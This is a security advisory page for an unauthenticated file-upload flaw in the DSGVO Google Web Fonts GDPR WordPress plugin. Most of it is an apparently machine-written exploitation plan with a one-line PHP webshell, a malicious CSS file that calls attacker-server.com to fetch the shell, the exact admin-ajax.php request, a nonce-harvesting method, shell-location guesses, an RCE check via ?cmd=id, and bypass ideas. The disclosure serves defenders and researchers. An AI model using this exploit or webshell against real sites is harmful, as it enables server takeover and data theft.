DSGVO Google Web Fonts GDPR <= 1.1 - Unauthenticated Arbitrary File Upload via 'fonturl' Parameter
Description
The DSGVO Google Web Fonts GDPR plugin for WordPress is vulnerable to arbitrary file upload due to missing file type validation in the `DSGVOGWPdownloadGoogleFonts()` function in all versions up to, and including, 1.1. The function is exposed via a `wp_ajax_nopriv_` hook, requiring no authentication. It fetches a user-supplied URL as a CSS file, extracts URLs from its content, and downloads those files to a publicly accessible directory without validating the file type. This makes it possible for unauthenticated attackers to upload arbitrary files including PHP webshells, leading to remote code execution. The exploit requires the site to use one of a handful of specific themes (twentyfifteen, twentyseventeen, twentysixteen, storefront, salient, or shapely).
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.1# Exploitation Research Plan: CVE-2026-3535 (DSGVO Google Web Fonts GDPR) ## 1. Vulnerability Summary The **DSGVO Google Web Fonts GDPR** plugin (up to version 1.1) is vulnerable to **Unauthenticated Arbitrary File Upload** leading to Remote Code Execution (RCE). The vulnerability exists in the `DS…
Show full research plan
Exploitation Research Plan: CVE-2026-3535 (DSGVO Google Web Fonts GDPR)
1. Vulnerability Summary
The DSGVO Google Web Fonts GDPR plugin (up to version 1.1) is vulnerable to Unauthenticated Arbitrary File Upload leading to Remote Code Execution (RCE). The vulnerability exists in the DSGVOGWPdownloadGoogleFonts() function, which is hooked into wp_ajax_nopriv_DSGVOGWPdownloadGoogleFonts.
The function takes a user-supplied URL (fonturl), fetches its content (intended to be a Google Fonts CSS file), parses the content for URLs using a regular expression (identifying font file links), and then downloads those identified files to a publicly accessible directory on the WordPress server. Crucially, the plugin fails to validate the file extension or MIME type of the files downloaded from the URLs extracted from the CSS content. An attacker can provide a "CSS" file containing a link to a PHP shell, causing the plugin to fetch and store the shell on the server.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
DSGVOGWPdownloadGoogleFonts - Hook:
wp_ajax_nopriv_DSGVOGWPdownloadGoogleFonts(Unauthenticated) andwp_ajax_DSGVOGWPdownloadGoogleFonts(Authenticated). - Vulnerable Parameter:
fonturl(POST or GET, typically POST in AJAX). - Preconditions:
- The WordPress site must be running one of the following themes:
twentyfifteen,twentyseventeen,twentysixteen,storefront,salient, orshapely. (The plugin likely checks the current theme name viawp_get_theme()->get_template()). - The
wp-content/uploads/directory must be writeable (standard for WordPress).
- The WordPress site must be running one of the following themes:
3. Code Flow (Inferred)
- Entry: A request is sent to
admin-ajax.php?action=DSGVOGWPdownloadGoogleFonts. - Hook Execution: WordPress triggers the
DSGVOGWPdownloadGoogleFonts()function. - Theme Check: The function likely checks
if ( in_array( wp_get_theme()->get_template(), [...] ) ). - CSS Fetch: The code retrieves the URL from
$_POST['fonturl']. - Content Retrieval: The plugin uses
wp_remote_get( $fonturl )to fetch the "CSS" content. - Regex Parsing: It uses a regex like
/url\(['"]?([^'")]+\.(?:ttf|woff2?|eot|otf|php))['"]?\)/i(or even broader) to find file URLs within the CSS. - Download Loop: For each match, it calls
wp_remote_get( $file_url ). - Sink: The content of the downloaded file is saved to the filesystem using
file_put_contents()orWP_Filesystemin a directory likewp-content/uploads/dsgvo-google-web-fonts/. No extension checking is performed on the$file_urlor the resulting filename.
4. Nonce Acquisition Strategy
The vulnerability is described as unauthenticated and reachable via nopriv. However, many WordPress AJAX handlers still implement a nonce check via check_ajax_referer.
Nonce Investigation
- Search for Nonce Creation: Search the plugin source for
wp_create_nonce. Look for the action string (e.g.,dsgvo-gdpr-nonce). - Search for Localized Scripts: Look for
wp_localize_script.- Target Variable (Inferred):
window.dsgvogwp_ajax?.nonceorwindow.dsgvo_gdpr_vars?.nonce.
- Target Variable (Inferred):
- Triggering Nonce Generation: The plugin likely only enqueues the script and nonce if the theme is supported and/or a specific setting is enabled.
- Acquisition Steps:
- Install and activate a supported theme:
wp theme install twentyseventeen --activate. - Create a dummy post to ensure frontend scripts load:
wp post create --post_status=publish --post_content='Testing Fonts'. - Navigate to the homepage.
- Use
browser_evalto find the nonce:// Example (search for common patterns if exact key is unknown) Object.keys(window).find(key => key.includes('dsgvo'))
- Install and activate a supported theme:
5. Exploitation Strategy
The exploit requires an external "attacker" server to host two files: the malicious CSS and the PHP shell.
Step 1: Prepare Attacker Files
- PHP Shell (
shell.php):<?php echo shell_exec($_GET['cmd']); ?> - Malicious CSS (
exploit.css):@font-face { font-family: 'Exploit'; src: url('http://attacker-server.com/shell.php'); }
Step 2: Trigger the Upload
Send the AJAX request to the target WordPress site.
- Request Type:
POST - URL:
http://<target>/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=DSGVOGWPdownloadGoogleFonts&fonturl=http://attacker-server.com/exploit.css&nonce=<NONCE_IF_REQUIRED>
Step 3: Locate the Shell
The plugin likely creates a subdirectory in uploads. Common naming conventions:
/wp-content/uploads/dsgvo-google-web-fonts/shell.php/wp-content/uploads/dsgvo-fonts/shell.php
The exact path can be identified by:
- Monitoring the response of the AJAX call (it might return the local path).
- Checking the plugin source for the
wp_upload_dir()usage.
6. Test Data Setup
- Theme Setup:
wp theme install twentyseventeen --activate - Plugin Activation:
wp plugin activate dsgvo-google-web-fonts-gdpr - Public Page: Ensure a public page exists for nonce extraction if needed.
7. Expected Results
- The AJAX request should return a
200 OKstatus. - The plugin will make an outbound request to
attacker-server.com/exploit.css. - The plugin will then make a second outbound request to
attacker-server.com/shell.php. - A file named
shell.php(or similar) will be created in the WordPress uploads directory.
8. Verification Steps
- Confirm File Creation (via CLI):
find /var/www/html/wp-content/uploads -name "shell.php" - Verify RCE:
Perform an HTTP request to the uploaded shell:
Expected Response: Contains output of thehttp_request "http://<target>/wp-content/uploads/dsgvo-google-web-fonts/shell.php?cmd=id"idcommand (e.g.,uid=33(www-data)).
9. Alternative Approaches
- Path Traversal: If the filename is extracted from the URL, check if
src: url('http://attacker.com/../../shell.php')allows escaping the intended directory. - Direct Parameter Injection: If the regex is weak, try
fonturl=http://attacker.com/exploit.css?url=shell.php. - Theme Bypass: If the site is not using a supported theme, try to pass a
templateorthemeparameter if the plugin uses$_REQUESTto determine the current theme context, though this is unlikely givenwp_get_theme(). If blocked, the researcher must manually switch themes as part of the "preconditions."
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.